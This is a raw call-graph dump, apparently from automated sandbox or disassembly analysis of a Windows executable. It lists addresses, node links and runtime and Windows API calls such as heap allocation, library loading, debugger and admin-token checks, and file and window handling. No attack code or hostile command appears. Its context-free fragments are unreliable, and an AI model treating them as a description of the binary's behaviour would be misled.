FreeEnvironmentStringsW 101153->101154 101154->101151 101156 374b4f _wparse_cmdline 101155->101156 101158 374b8f _wparse_cmdline 101156->101158 101273 36881d 58 API calls __malloc_crt 101156->101273 101158->101089 101160 374d71 __wsetenvp 101159->101160 101161 374d69 101159->101161 101162 3687d5 __calloc_crt 58 API calls 101160->101162 101161->101093 101165 374d9a __wsetenvp 101162->101165 101163 374df1 101164 362d55 _free 58 API calls 101163->101164 101164->101161 101165->101161 101165->101163 101166 3687d5 __calloc_crt 58 API calls 101165->101166 101167 374e16 101165->101167 101170 374e2d 101165->101170 101274 374607 58 API calls __swprintf 101165->101274 101166->101165 101169 362d55 _free 58 API calls 101167->101169 101169->101161 101275 368dc6 IsProcessorFeaturePresent 101170->101275 101172 374e39 101172->101093 101174 3630fb __IsNonwritableInCurrentImage 101173->101174 101298 36a4d1 101174->101298 101176 363119 __initterm_e 101178 363138 _doexit __IsNonwritableInCurrentImage 101176->101178 101301 362d40 101176->101301 101178->101097 101180 3447ea 101179->101180 101190 344889 101179->101190 101181 344824 IsThemeActive 101180->101181 101336 36336c 101181->101336 101185 344850 101348 3448fd SystemParametersInfoW SystemParametersInfoW 101185->101348 101187 34485c 101349 343b3a 101187->101349 101189 344864 SystemParametersInfoW 101189->101190 101190->101101 101191->101075 101192->101079 101193->101086 101197->101102 101198->101105 101199->101111 101200->101114 101201->101117 101202->101118 101205 3687dc 101203->101205 101206 368817 101205->101206 101208 3687fa 101205->101208 101212 3751f6 101205->101212 101206->101122 101209 369de6 TlsSetValue 101206->101209 101208->101205 101208->101206 101220 36a132 Sleep 101208->101220 101209->101125 101210->101129 101211->101126 101213 375201 101212->101213 101217 37521c 101212->101217 101214 37520d 101213->101214 101213->101217 101221 368b28 58 API calls __getptd_noexit 101214->101221 101216 37522c HeapAlloc 101216->101217 101218 375212 101216->101218 101217->101216 101217->101218 101222 3633a1 DecodePointer 101217->101222 101218->101205 101220->101208 101221->101218 101222->101217 101224 369c2f EnterCriticalSection 101223->101224 101225 369c1c 101223->101225 101224->101133 101233 369c93 101225->101233 101227 369c22 101227->101224 101257 3630b5 58 API calls 3 library calls 101227->101257 101230->101143 101231->101138 101232->101137 101234 369c9f _doexit 101233->101234 101235 369cc0 101234->101235 101236 369ca8 101234->101236 101242 369ce1 _doexit 101235->101242 101261 36881d 58 API calls __malloc_crt 101235->101261 101258 36a16b 58 API calls 2 library calls 101236->101258 101238 369cad 101259 36a1c8 58 API calls 8 library calls 101238->101259 101241 369cd5 101244 369cdc 101241->101244 101245 369ceb 101241->101245 101242->101227 101243 369cb4 101260 36309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 101243->101260 101262 368b28 58 API calls __getptd_noexit 101244->101262 101247 369c0b __lock 58 API calls 101245->101247 101249 369cf2 101247->101249 101251 369d17 101249->101251 101252 369cff 101249->101252 101264 362d55 101251->101264 101263 369e2b InitializeCriticalSectionAndSpinCount 101252->101263 101255 369d0b 101270 369d33 LeaveCriticalSection _doexit 101255->101270 101258->101238 101259->101243 101261->101241 101262->101242 101263->101255 101265 362d5e RtlFreeHeap 101264->101265 101269 362d87 __dosmaperr 101264->101269 101266 362d73 101265->101266 101265->101269 101271 368b28 58 API calls __getptd_noexit 101266->101271 101268 362d79 GetLastError 101268->101269 101269->101255 101270->101242 101271->101268 101272->101153 101273->101158 101274->101165 101276 368dd1 101275->101276 101281 368c59 101276->101281 101280 368dec 101280->101172 101282 368c73 _memset __call_reportfault 101281->101282 101283 368c93 IsDebuggerPresent 101282->101283 101289 36a155 SetUnhandledExceptionFilter UnhandledExceptionFilter 101283->101289 101286 368d57 __call_reportfault 101290 36c5f6 101286->101290 101287 368d7a 101288 36a140 GetCurrentProcess TerminateProcess 101287->101288 101288->101280 101289->101286 101291 36c600 IsProcessorFeaturePresent 101290->101291 101292 36c5fe 101290->101292 101294 37590a 101291->101294 101292->101287 101297 3758b9 5 API calls 2 library calls 101294->101297 101296 3759ed 101296->101287 101297->101296 101299 36a4d4 EncodePointer 101298->101299 101299->101299 101300 36a4ee 101299->101300 101300->101176 101304 362c44 101301->101304 101303 362d4b 101303->101178 101305 362c50 _doexit 101304->101305 101312 363217 101305->101312 101311 362c77 _doexit 101311->101303 101313 369c0b __lock 58 API calls 101312->101313 101314 362c59 101313->101314 101315 362c88 DecodePointer DecodePointer 101314->101315 101316 362c65 101315->101316 101317 362cb5 101315->101317 101326 362c82 101316->101326 101317->101316 101329 3687a4 59 API calls __swprintf 101317->101329 101319 362d18 EncodePointer EncodePointer 101319->101316 101320 362cc7 101320->101319 101321 362cec 101320->101321 101330 368864 61 API calls 2 library calls 101320->101330 101321->101316 101324 362d06 EncodePointer 101321->101324 101331 368864 61 API calls 2 library calls 101321->101331 101324->101319 101325 362d00 101325->101316 101325->101324 101332 363220 101326->101332 101329->101320 101330->101321 101331->101325 101335 369d75 LeaveCriticalSection 101332->101335 101334 362c87 101334->101311 101335->101334 101337 369c0b __lock 58 API calls 101336->101337 101338 363377 DecodePointer EncodePointer 101337->101338 101401 369d75 LeaveCriticalSection 101338->101401 101340 344849 101341 3633d4 101340->101341 101342 3633de 101341->101342 101343 3633f8 101341->101343 101342->101343 101402 368b28 58 API calls __getptd_noexit 101342->101402 101343->101185 101345 3633e8 101403 368db6 9 API calls __swprintf 101345->101403 101347 3633f3 101347->101185 101348->101187 101350 343b47 __write_nolock 101349->101350 101404 347667 101350->101404 101354 343b7a IsDebuggerPresent 101355 37d272 MessageBoxA 101354->101355 101356 343b88 101354->101356 101359 37d28c 101355->101359 101357 343c61 101356->101357 101356->101359 101360 343ba5 101356->101360 101358 343c68 SetCurrentDirectoryW 101357->101358 101363 343c75 Mailbox 101358->101363 101628 347213 59 API calls Mailbox 101359->101628 101490 347285 101360->101490 101363->101189 101365 343bc3 GetFullPathNameW 101506 347bcc 101365->101506 101367 37d29c 101369 37d2b2 SetCurrentDirectoryW 101367->101369 101368 343bfe 101515 35092d 101368->101515 101369->101363 101372 343c1c 101373 343c26 101372->101373 101629 39874b AllocateAndInitializeSid CheckTokenMembership FreeSid 101372->101629 101531 343a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 101373->101531 101376 37d2cf 101376->101373 101380 37d2e0 101376->101380 101379 343c30 101381 343c43 101379->101381 101539 34434a 101379->101539 101630 344706 101380->101630 101550 3509d0 101381->101550 101383 37d2e8 101637 347de1 101383->101637 101401->101340 101402->101345 101403->101347 101657 360db6 101404->101657 101406 347688 101407 360db6 Mailbox 59 API calls 101406->101407 101408 343b51 GetCurrentDirectoryW 101407->101408 101409 343766 101408->101409 101410 347667 59 API calls 101409->101410 101411 34377c 101410->101411 101695 343d31 101411->101695 101413 34379a 101414 344706 61 API calls 101413->101414 101415 3437ae 101414->101415 101416 347de1 59 API calls 101415->101416 101417 3437bb 101416->101417 101709 344ddd 101417->101709 101420 37d173 101780 3a955b 101420->101780 101421 3437dc Mailbox 101733 348047 101421->101733 101424 37d192 101427 362d55 _free 58 API calls 101424->101427 101429 37d19f 101427->101429 101431 344e4a 84 API calls 101429->101431 101433 37d1a8 101431->101433 101437 343ed0 59 API calls 101433->101437 101434 347de1 59 API calls 101435 343808 101434->101435 101740 3484c0 101435->101740 101439 37d1c3 101437->101439 101438 34381a Mailbox 101440 347de1 59 API calls 101438->101440 101441 343ed0 59 API calls 101439->101441 101442 343840 101440->101442 101443 37d1df 101441->101443 101444 3484c0 69 API calls 101442->101444 101445 344706 61 API calls 101443->101445 101446 34384f Mailbox 101444->101446 101447 37d204 101445->101447 101450 347667 59 API calls 101446->101450 101448 343ed0 59 API calls 101447->101448 101449 37d210 101448->101449 101451 348047 59 API calls 101449->101451 101452 34386d 101450->101452 101453 37d21e 101451->101453 101744 343ed0 101452->101744 101455 343ed0 59 API calls 101453->101455 101457 37d22d 101455->101457 101463 348047 59 API calls 101457->101463 101459 343887 101459->101433 101460 343891 101459->101460 101461 362efd _W_store_winword 60 API calls 101460->101461 101462 34389c 101461->101462 101462->101439 101464 3438a6 101462->101464 101465 37d24f 101463->101465 101466 362efd _W_store_winword 60 API calls 101464->101466 101467 343ed0 59 API calls 101465->101467 101468 3438b1 101466->101468 101469 37d25c 101467->101469 101468->101443 101470 3438bb 101468->101470 101469->101469 101471 362efd _W_store_winword 60 API calls 101470->101471 101472 3438c6 101471->101472 101472->101457 101473 343907 101472->101473 101475 343ed0 59 API calls 101472->101475 101473->101457 101474 343914 101473->101474 101760 3492ce 101474->101760 101477 3438ea 101475->101477 101479 348047 59 API calls 101477->101479 101481 3438f8 101479->101481 101483 343ed0 59 API calls 101481->101483 101483->101473 101485 34928a 59 API calls 101487 34394f 101485->101487 101486 348ee0 60 API calls 101486->101487 101487->101485 101487->101486 101488 343ed0 59 API calls 101487->101488 101489 343995 Mailbox 101487->101489 101488->101487 101489->101354 101491 347292 __write_nolock 101490->101491 101492 37ea22 _memset 101491->101492 101493 3472ab 101491->101493 101496 37ea3e GetOpenFileNameW 101492->101496 102578 344750 101493->102578 101498 37ea8d 101496->101498 101500 347bcc 59 API calls 101498->101500 101501 37eaa2 101500->101501 101501->101501 101503 3472c9 102606 34686a 101503->102606 101507 347c45 101506->101507 101508 347bd8 __wsetenvp 101506->101508 101509 347d2c 59 API calls 101507->101509 101510 347c13 101508->101510 101511 347bee 101508->101511 101514 347bf6 _memmove 101509->101514 101513 348029 59 API calls 101510->101513 102925 347f27 59 API calls Mailbox 101511->102925 101513->101514 101514->101368 101516 35093a __write_nolock 101515->101516 102926 346d80 101516->102926 101518 35093f 101519 343c14 101518->101519 102937 35119e 89 API calls 101518->102937 101519->101367 101519->101372 101521 35094c 101521->101519 102938 353ee7 91 API calls Mailbox 101521->102938 101523 350955 101523->101519 101524 350959 GetFullPathNameW 101523->101524 101525 347bcc 59 API calls 101524->101525 101526 350985 101525->101526 101527 347bcc 59 API calls 101526->101527 101528 350992 101527->101528 101529 384cab _wcscat 101528->101529 101530 347bcc 59 API calls 101528->101530 101530->101519 101532 343ab0 LoadImageW RegisterClassExW 101531->101532 101533 37d261 101531->101533 102980 343041 7 API calls 101532->102980 102981 3447a0 LoadImageW EnumResourceNamesW 101533->102981 101536 343b34 101538 3439d5 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 101536->101538 101537 37d26a 101538->101379 101540 344375 _memset 101539->101540 102982 344182 101540->102982 101543 3443fa 101545 344414 Shell_NotifyIconW 101543->101545 101546 344430 Shell_NotifyIconW 101543->101546 101551 384cc3 101550->101551 101565 3509f5 101550->101565 103072 3a9e4a 89 API calls 4 library calls 101551->103072 101557 350a4b PeekMessageW 101626 350a05 Mailbox 101557->101626 101562 384e81 Sleep 101562->101626 101564 350ce4 101565->101626 103073 349e5d 60 API calls 101565->103073 103074 396349 341 API calls 101565->103074 101569 384d50 TranslateAcceleratorW 101571 350e43 PeekMessageW 101569->101571 101569->101626 101570 350ea5 TranslateMessage DispatchMessageW 101570->101571 101571->101626 101572 360db6 59 API calls Mailbox 101572->101626 101573 350d13 timeGetTime 101573->101626 101574 38581f WaitForSingleObject 101574->101626 101577 350e5f Sleep 101610 350e70 Mailbox 101577->101610 101578 348047 59 API calls 101578->101626 101580 385af8 Sleep 101580->101610 101582 34b73c 314 API calls 101582->101626 101585 350f4e timeGetTime 101596 349e5d 60 API calls 101596->101626 101606 349ea0 314 API calls 101606->101626 101611 350f95 101610->101611 101610->101626 101614 3a9e4a 89 API calls 101614->101626 101615 349c90 59 API calls Mailbox 101615->101626 101616 3484c0 69 API calls 101616->101626 101618 39617e 59 API calls Mailbox 101618->101626 101619 347de1 59 API calls 101619->101626 101620 3855d5 VariantClear 101620->101626 101621 38566b VariantClear 101621->101626 101622 385419 VariantClear 101622->101626 101623 396e8f 59 API calls 101623->101626 101624 348cd4 59 API calls Mailbox 101624->101626 101625 3489b3 69 API calls 101625->101626 101626->101557 101626->101562 101626->101564 101626->101569 101626->101570 101626->101571 101626->101572 101626->101573 101626->101574 101626->101577 101626->101578 101626->101580 101626->101582 101626->101585 101626->101596 101626->101606 101626->101610 101626->101611 101626->101614 101626->101615 101626->101616 101626->101618 101626->101619 101626->101620 101626->101621 101626->101622 101626->101623 101626->101624 101626->101625 103009 34e420 101626->103009 103016 34e6a0 101626->103016 103047 34f460 101626->103047 103067 34fce0 341 API calls 2 library calls 101626->103067 103068 3431ce IsDialogMessageW GetClassLongW 101626->103068 103075 3c6018 59 API calls 101626->103075 103076 3a9a15 59 API calls Mailbox 101626->103076 103077 39d4f2 59 API calls 101626->103077 103078 349837 101626->103078 103096 3960ef 59 API calls 2 library calls 101626->103096 103097 348401 59 API calls 101626->103097 103098 3482df 59 API calls Mailbox 101626->103098 101628->101367 101629->101376 101631 371940 __write_nolock 101630->101631 101632 344713 GetModuleFileNameW 101631->101632 101633 347de1 59 API calls 101632->101633 101634 344739 101633->101634 101635 344750 60 API calls 101634->101635 101636 344743 Mailbox 101635->101636 101636->101383 101638 347df0 __wsetenvp _memmove 101637->101638 101659 360dbe 101657->101659 101660 360dd8 101659->101660 101662 360ddc std::exception::exception 101659->101662 101667 36571c 101659->101667 101684 3633a1 DecodePointer 101659->101684 101660->101406 101685 36859b RaiseException 101662->101685 101664 360e06 101686 3684d1 58 API calls _free 101664->101686 101666 360e18 101666->101406 101668 365797 101667->101668 101677 365728 101667->101677 101693 3633a1 DecodePointer 101668->101693 101670 36579d 101694 368b28 58 API calls __getptd_noexit 101670->101694 101673 36575b RtlAllocateHeap 101674 36578f 101673->101674 101673->101677 101674->101659 101676 365733 101676->101677 101687 36a16b 58 API calls 2 library calls 101676->101687 101688 36a1c8 58 API calls 8 library calls 101676->101688 101689 36309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 101676->101689 101677->101673 101677->101676 101678 365783 101677->101678 101682 365781 101677->101682 101690 3633a1 DecodePointer 101677->101690 101691 368b28 58 API calls __getptd_noexit 101678->101691 101692 368b28 58 API calls __getptd_noexit 101682->101692 101684->101659 101685->101664 101686->101666 101687->101676 101688->101676 101690->101677 101691->101682 101692->101674 101693->101670 101694->101674 101696 343d3e __write_nolock 101695->101696 101697 347bcc 59 API calls 101696->101697 101702 343ea4 Mailbox 101696->101702 101699 343d70 101697->101699 101708 343da6 Mailbox 101699->101708 101821 3479f2 101699->101821 101700 3479f2 59 API calls 101700->101708 101701 343e77 101701->101702 101703 347de1 59 API calls 101701->101703 101702->101413 101705 343e98 101703->101705 101704 347de1 59 API calls 101704->101708 101706 343f74 59 API calls 101705->101706 101706->101702 101708->101700 101708->101701 101708->101702 101708->101704 101824 343f74 101708->101824 101834 344bb5 101709->101834 101714 37d8e6 101716 344e4a 84 API calls 101714->101716 101715 344e08 LoadLibraryExW 101844 344b6a 101715->101844 101718 37d8ed 101716->101718 101720 344b6a 3 API calls 101718->101720 101722 37d8f5 101720->101722 101870 344f0b 101722->101870 101723 344e2f 101723->101722 101724 344e3b 101723->101724 101725 344e4a 84 API calls 101724->101725 101727 3437d4 101725->101727 101727->101420 101727->101421 101730 37d91c 101878 344ec7 101730->101878 101732 37d929 101734 348052 101733->101734 101735 3437ef 101733->101735 102308 347f77 101734->102308 101737 34928a 101735->101737 101738 360db6 Mailbox 59 API calls 101737->101738 101739 3437fb 101738->101739 101739->101434 101741 3484cb 101740->101741 101743 3484f2 101741->101743 102312 3489b3 69 API calls Mailbox 101741->102312 101743->101438 101745 343ef3 101744->101745 101746 343eda 101744->101746 101748 347bcc 59 API calls 101745->101748 101747 348047 59 API calls 101746->101747 101749 343879 101747->101749 101748->101749 101750 362efd 101749->101750 101751 362f7e 101750->101751 101752 362f09 101750->101752 102315 362f90 60 API calls 3 library calls 101751->102315 101758 362f2e 101752->101758 102313 368b28 58 API calls __getptd_noexit 101752->102313 101755 362f8b 101755->101459 101756 362f15 102314 368db6 9 API calls __swprintf 101756->102314 101758->101459 101759 362f20 101759->101459 101761 3492d6 101760->101761 101762 360db6 Mailbox 59 API calls 101761->101762 101763 3492e4 101762->101763 101764 343924 101763->101764 102316 3491fc 59 API calls Mailbox 101763->102316 101766 349050 101764->101766 102317 349160 101766->102317 101768 360db6 Mailbox 59 API calls 101769 343932 101768->101769 101771 348ee0 101769->101771 101770 34905f 101770->101768 101770->101769 101772 37f17c 101771->101772 101776 348ef7 101771->101776 101772->101776 102327 348bdb 59 API calls Mailbox 101772->102327 101774 349040 102326 349d3c 60 API calls Mailbox 101774->102326 101775 348ff8 101777 360db6 Mailbox 59 API calls 101775->101777 101776->101774 101776->101775 101779 348fff 101776->101779 101777->101779 101779->101487 101781 344ee5 85 API calls 101780->101781 101782 3a95ca 101781->101782 102328 3a9734 101782->102328 101785 344f0b 74 API calls 101786 3a95f7 101785->101786 101787 344f0b 74 API calls 101786->101787 101788 3a9607 101787->101788 101789 344f0b 74 API calls 101788->101789 101790 3a9622 101789->101790 101791 344f0b 74 API calls 101790->101791 101792 3a963d 101791->101792 101793 344ee5 85 API calls 101792->101793 101794 3a9654 101793->101794 101795 36571c __malloc_crt 58 API calls 101794->101795 101796 3a965b 101795->101796 101797 36571c __malloc_crt 58 API calls 101796->101797 101798 3a9665 101797->101798 101799 344f0b 74 API calls 101798->101799 101800 3a9679 101799->101800 101801 3a9109 GetSystemTimeAsFileTime 101800->101801 101802 3a968c 101801->101802 101803 3a96a1 101802->101803 101804 3a96b6 101802->101804 101805 362d55 _free 58 API calls 101803->101805 101806 3a971b 101804->101806 101807 3a96bc 101804->101807 101810 3a96a7 101805->101810 101809 362d55 _free 58 API calls 101806->101809 102334 3a8b06 101807->102334 101812 37d186 101809->101812 101813 362d55 _free 58 API calls 101810->101813 101812->101424 101815 344e4a 101812->101815 101813->101812 101814 362d55 _free 58 API calls 101814->101812 101816 344e54 101815->101816 101820 344e5b 101815->101820 101817 3653a6 __fcloseall 83 API calls 101816->101817 101817->101820 101818 344e6a 101818->101424 101819 344e7b FreeLibrary 101819->101818 101820->101818 101820->101819 101830 347e4f 101821->101830 101823 3479fd 101823->101699 101825 343f82 101824->101825 101829 343fa4 _memmove 101824->101829 101827 360db6 Mailbox 59 API calls 101825->101827 101826 360db6 Mailbox 59 API calls 101828 343fb8 101826->101828 101827->101829 101828->101708 101829->101826 101831 347e62 101830->101831 101833 347e5f _memmove 101830->101833 101832 360db6 Mailbox 59 API calls 101831->101832 101832->101833 101833->101823 101883 344c03 101834->101883 101837 344c03 2 API calls 101840 344bdc 101837->101840 101838 344bf5 101841 36525b 101838->101841 101839 344bec FreeLibrary 101839->101838 101840->101838 101840->101839 101887 365270 101841->101887 101843 344dfc 101843->101714 101843->101715 102045 344c36 101844->102045 101847 344c36 2 API calls 101850 344b8f 101847->101850 101848 344ba1 FreeLibrary 101849 344baa 101848->101849 101851 344c70 101849->101851 101850->101848 101850->101849 101852 360db6 Mailbox 59 API calls 101851->101852 101853 344c85 101852->101853 102049 34522e 101853->102049 101855 344c91 _memmove 101856 344ccc 101855->101856 101858 344dc1 101855->101858 101859 344d89 101855->101859 101857 344ec7 69 API calls 101856->101857 101863 344cd5 101857->101863 102063 3a991b 95 API calls 101858->102063 102052 344e89 CreateStreamOnHGlobal 101859->102052 101862 344f0b 74 API calls 101862->101863 101863->101862 101865 344d69 101863->101865 101866 37d8a7 101863->101866 102058 344ee5 101863->102058 101865->101723 101867 344ee5 85 API calls 101866->101867 101868 37d8bb 101867->101868 101869 344f0b 74 API calls 101868->101869 101869->101865 101871 344f1d 101870->101871 101872 37d9cd 101870->101872 102087 3655e2 101871->102087 101875 3a9109 102285 3a8f5f 101875->102285 101877 3a911f 101877->101730 101879 344ed6 101878->101879 101880 37d990 101878->101880 102290 365c60 101879->102290 101882 344ede 101882->101732 101884 344bd0 101883->101884 101885 344c0c LoadLibraryA 101883->101885 101884->101837 101884->101840 101885->101884 101886 344c1d GetProcAddress 101885->101886 101886->101884 101890 36527c _doexit 101887->101890 101888 36528f 101936 368b28 58 API calls __getptd_noexit 101888->101936 101890->101888 101892 3652c0 101890->101892 101891 365294 101937 368db6 9 API calls __swprintf 101891->101937 101906 3704e8 101892->101906 101895 3652c5 101896 3652ce 101895->101896 101897 3652db 101895->101897 101938 368b28 58 API calls __getptd_noexit 101896->101938 101898 365305 101897->101898 101899 3652e5 101897->101899 101921 370607 101898->101921 101939 368b28 58 API calls __getptd_noexit 101899->101939 101903 36529f _doexit @_EH4_CallFilterFunc@8 101903->101843 101907 3704f4 _doexit 101906->101907 101908 369c0b __lock 58 API calls 101907->101908 101919 370502 101908->101919 101909 370576 101941 3705fe 101909->101941 101910 37057d 101946 36881d 58 API calls __malloc_crt 101910->101946 101913 370584 101913->101909 101947 369e2b InitializeCriticalSectionAndSpinCount 101913->101947 101914 3705f3 _doexit 101914->101895 101916 369c93 __mtinitlocknum 58 API calls 101916->101919 101918 3705aa EnterCriticalSection 101918->101909 101919->101909 101919->101910 101919->101916 101944 366c50 59 API calls __lock 101919->101944 101945 366cba LeaveCriticalSection LeaveCriticalSection _doexit 101919->101945 101928 370627 __wopenfile 101921->101928 101922 370641 101952 368b28 58 API calls __getptd_noexit 101922->101952 101924 370646 101953 368db6 9 API calls __swprintf 101924->101953 101926 365310 101940 365332 LeaveCriticalSection LeaveCriticalSection _fseek 101926->101940 101927 37085f 101949 3785a1 101927->101949 101928->101922 101935 3707fc 101928->101935 101954 3637cb 60 API calls 2 library calls 101928->101954 101931 3707f5 101931->101935 101955 3637cb 60 API calls 2 library calls 101931->101955 101933 370814 101933->101935 101956 3637cb 60 API calls 2 library calls 101933->101956 101935->101922 101935->101927 101936->101891 101937->101903 101938->101903 101939->101903 101940->101903 101948 369d75 LeaveCriticalSection 101941->101948 101943 370605 101943->101914 101944->101919 101945->101919 101946->101913 101947->101918 101948->101943 101957 377d85 101949->101957 101951 3785ba 101951->101926 101952->101924 101953->101926 101954->101931 101955->101933 101956->101935 101958 377d91 _doexit 101957->101958 101959 377da7 101958->101959 101961 377ddd 101958->101961 102042 368b28 58 API calls __getptd_noexit 101959->102042 101968 377e4e 101961->101968 101962 377dac 102043 368db6 9 API calls __swprintf 101962->102043 101965 377df9 102044 377e22 LeaveCriticalSection __unlock_fhandle 101965->102044 101967 377db6 _doexit 101967->101951 101969 377e6e 101968->101969 101970 3644ea __wsopen_nolock 58 API calls 101969->101970 101973 377e8a 101970->101973 101971 368dc6 __invoke_watson 8 API calls 101972 3785a0 101971->101972 101974 377d85 __wsopen_helper 103 API calls 101972->101974 101975 377ec4 101973->101975 101982 377ee7 101973->101982 101990 377fc1 101973->101990 101977 3785ba 101974->101977 101976 368af4 __commit 58 API calls 101975->101976 101978 377ec9 101976->101978 101977->101965 101979 368b28 __swprintf 58 API calls 101978->101979 101980 377ed6 101979->101980 101983 368db6 __swprintf 9 API calls 101980->101983 101981 377fa5 101984 368af4 __commit 58 API calls 101981->101984 101982->101981 101986 377f83 101982->101986 102009 377ee0 101983->102009 101985 377faa 101984->101985 101987 368b28 __swprintf 58 API calls 101985->101987 101991 36d294 __alloc_osfhnd 61 API calls 101986->101991 101988 377fb7 101987->101988 101989 368db6 __swprintf 9 API calls 101988->101989 101989->101990 101990->101971 101992 378051 101991->101992 101993 37807e 101992->101993 101994 37805b 101992->101994 101995 377cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101993->101995 101996 368af4 __commit 58 API calls 101994->101996 102006 3780a0 101995->102006 101997 378060 101996->101997 101998 368b28 __swprintf 58 API calls 101997->101998 102000 37806a 101998->102000 101999 37811e GetFileType 102001 37816b 101999->102001 102002 378129 GetLastError 101999->102002 102004 368b28 __swprintf 58 API calls 102000->102004 102012 36d52a __set_osfhnd 59 API calls 102001->102012 102005 368b07 __dosmaperr 58 API calls 102002->102005 102003 3780ec GetLastError 102007 368b07 __dosmaperr 58 API calls 102003->102007 102004->102009 102010 378150 CloseHandle 102005->102010 102006->101999 102006->102003 102011 377cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 102006->102011 102008 378111 102007->102008 102015 368b28 __swprintf 58 API calls 102008->102015 102009->101965 102010->102008 102013 37815e 102010->102013 102014 3780e1 102011->102014 102019 378189 102012->102019 102016 368b28 __swprintf 58 API calls 102013->102016 102014->101999 102014->102003 102015->101990 102017 378163 102016->102017 102017->102008 102018 378344 102018->101990 102021 378517 CloseHandle 102018->102021 102019->102018 102020 3718c1 __lseeki64_nolock 60 API calls 102019->102020 102038 37820a 102019->102038 102022 3781f3 102020->102022 102023 377cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 102021->102023 102025 368af4 __commit 58 API calls 102022->102025 102022->102038 102024 37853e 102023->102024 102026 378546 GetLastError 102024->102026 102027 378572 102024->102027 102025->102038 102028 368b07 __dosmaperr 58 API calls 102026->102028 102027->101990 102030 378552 102028->102030 102029 37823c 102033 3797a2 __chsize_nolock 82 API calls 102029->102033 102029->102038 102034 36d43d __free_osfhnd 59 API calls 102030->102034 102031 370add __close_nolock 61 API calls 102031->102038 102032 370e5b 70 API calls __read_nolock 102032->102038 102033->102029 102034->102027 102035 36d886 __write 78 API calls 102035->102038 102036 3783c1 102037 370add __close_nolock 61 API calls 102036->102037 102039 3783c8 102037->102039 102038->102018 102038->102029 102038->102031 102038->102032 102038->102035 102038->102036 102040 3718c1 60 API calls __lseeki64_nolock 102038->102040 102041 368b28 __swprintf 58 API calls 102039->102041 102040->102038 102041->101990 102042->101962 102043->101967 102044->101967 102046 344b83 102045->102046 102047 344c3f LoadLibraryA 102045->102047 102046->101847 102046->101850 102047->102046 102048 344c50 GetProcAddress 102047->102048 102048->102046 102050 360db6 Mailbox 59 API calls 102049->102050 102051 345240 102050->102051 102051->101855 102053 344ea3 FindResourceExW 102052->102053 102055 344ec0 102052->102055 102054 37d933 LoadResource 102053->102054 102053->102055 102054->102055 102056 37d948 SizeofResource 102054->102056 102055->101856 102056->102055 102057 37d95c LockResource 102056->102057 102057->102055 102059 344ef4 102058->102059 102062 37d9ab 102058->102062 102064 36584d 102059->102064 102061 344f02 102061->101863 102063->101856 102065 365859 _doexit 102064->102065 102066 36586b 102065->102066 102068 365891 102065->102068 102077 368b28 58 API calls __getptd_noexit 102066->102077 102079 366c11 102068->102079 102070 365870 102078 368db6 9 API calls __swprintf 102070->102078 102071 365897 102085 3657be 83 API calls 5 library calls 102071->102085 102074 3658a6 102086 3658c8 LeaveCriticalSection LeaveCriticalSection _fseek 102074->102086 102076 36587b _doexit 102076->102061 102077->102070 102078->102076 102080 366c43 EnterCriticalSection 102079->102080 102081 366c21 102079->102081 102084 366c39 102080->102084 102081->102080 102082 366c29 102081->102082 102083 369c0b __lock 58 API calls 102082->102083 102083->102084 102084->102071 102085->102074 102086->102076 102090 3655fd 102087->102090 102089 344f2e 102089->101875 102091 365609 _doexit 102090->102091 102092 36561f _memset 102091->102092 102093 36564c 102091->102093 102094 365644 _doexit 102091->102094 102117 368b28 58 API calls __getptd_noexit 102092->102117 102095 366c11 __lock_file 59 API calls 102093->102095 102094->102089 102096 365652 102095->102096 102103 36541d 102096->102103 102099 365639 102118 368db6 9 API calls __swprintf 102099->102118 102106 365438 _memset 102103->102106 102108 365453 102103->102108 102104 365443 102215 368b28 58 API calls __getptd_noexit 102104->102215 102106->102104 102106->102108 102113 365493 102106->102113 102119 365686 LeaveCriticalSection LeaveCriticalSection _fseek 102108->102119 102110 3655a4 _memset 102218 368b28 58 API calls __getptd_noexit 102110->102218 102113->102108 102113->102110 102120 3646e6 102113->102120 102127 370e5b 102113->102127 102195 370ba7 102113->102195 102217 370cc8 58 API calls 3 library calls 102113->102217 102116 365448 102216 368db6 9 API calls __swprintf 102116->102216 102117->102099 102118->102094 102119->102094 102121 364705 102120->102121 102122 3646f0 102120->102122 102121->102113 102219 368b28 58 API calls __getptd_noexit 102122->102219 102124 3646f5 102220 368db6 9 API calls __swprintf 102124->102220 102126 364700 102126->102113 102128 370e93 102127->102128 102129 370e7c 102127->102129 102130 3715cb 102128->102130 102134 370ecd 102128->102134 102230 368af4 58 API calls __getptd_noexit 102129->102230 102246 368af4 58 API calls __getptd_noexit 102130->102246 102133 370e81 102231 368b28 58 API calls __getptd_noexit 102133->102231 102137 370ed5 102134->102137 102144 370eec 102134->102144 102135 3715d0 102247 368b28 58 API calls __getptd_noexit 102135->102247 102232 368af4 58 API calls __getptd_noexit 102137->102232 102140 370ee1 102248 368db6 9 API calls __swprintf 102140->102248 102141 370eda 102233 368b28 58 API calls __getptd_noexit 102141->102233 102143 370f01 102234 368af4 58 API calls __getptd_noexit 102143->102234 102144->102143 102145 370f1b 102144->102145 102148 370f39 102144->102148 102175 370e88 102144->102175 102145->102143 102150 370f26 102145->102150 102235 36881d 58 API calls __malloc_crt 102148->102235 102221 375c6b 102150->102221 102151 370f49 102153 370f51 102151->102153 102154 370f6c 102151->102154 102236 368b28 58 API calls __getptd_noexit 102153->102236 102238 3718c1 60 API calls 3 library calls 102154->102238 102155 37103a 102156 3710b3 ReadFile 102155->102156 102159 371050 GetConsoleMode 102155->102159 102160 3710d5 102156->102160 102161 371593 GetLastError 102156->102161 102163 371064 102159->102163 102164 3710b0 102159->102164 102160->102161 102169 3710a5 102160->102169 102165 371093 102161->102165 102166 3715a0 102161->102166 102162 370f56 102237 368af4 58 API calls __getptd_noexit 102162->102237 102163->102164 102168 37106a ReadConsoleW 102163->102168 102164->102156 102179 371099 102165->102179 102239 368b07 58 API calls 3 library calls 102165->102239 102244 368b28 58 API calls __getptd_noexit 102166->102244 102168->102169 102172 37108d GetLastError 102168->102172 102177 371377 102169->102177 102178 37110a 102169->102178 102169->102179 102171 3715a5 102245 368af4 58 API calls __getptd_noexit 102171->102245 102172->102165 102175->102113 102176 362d55 _free 58 API calls 102176->102175 102177->102179 102185 37147d ReadFile 102177->102185 102181 3711f7 102178->102181 102182 371176 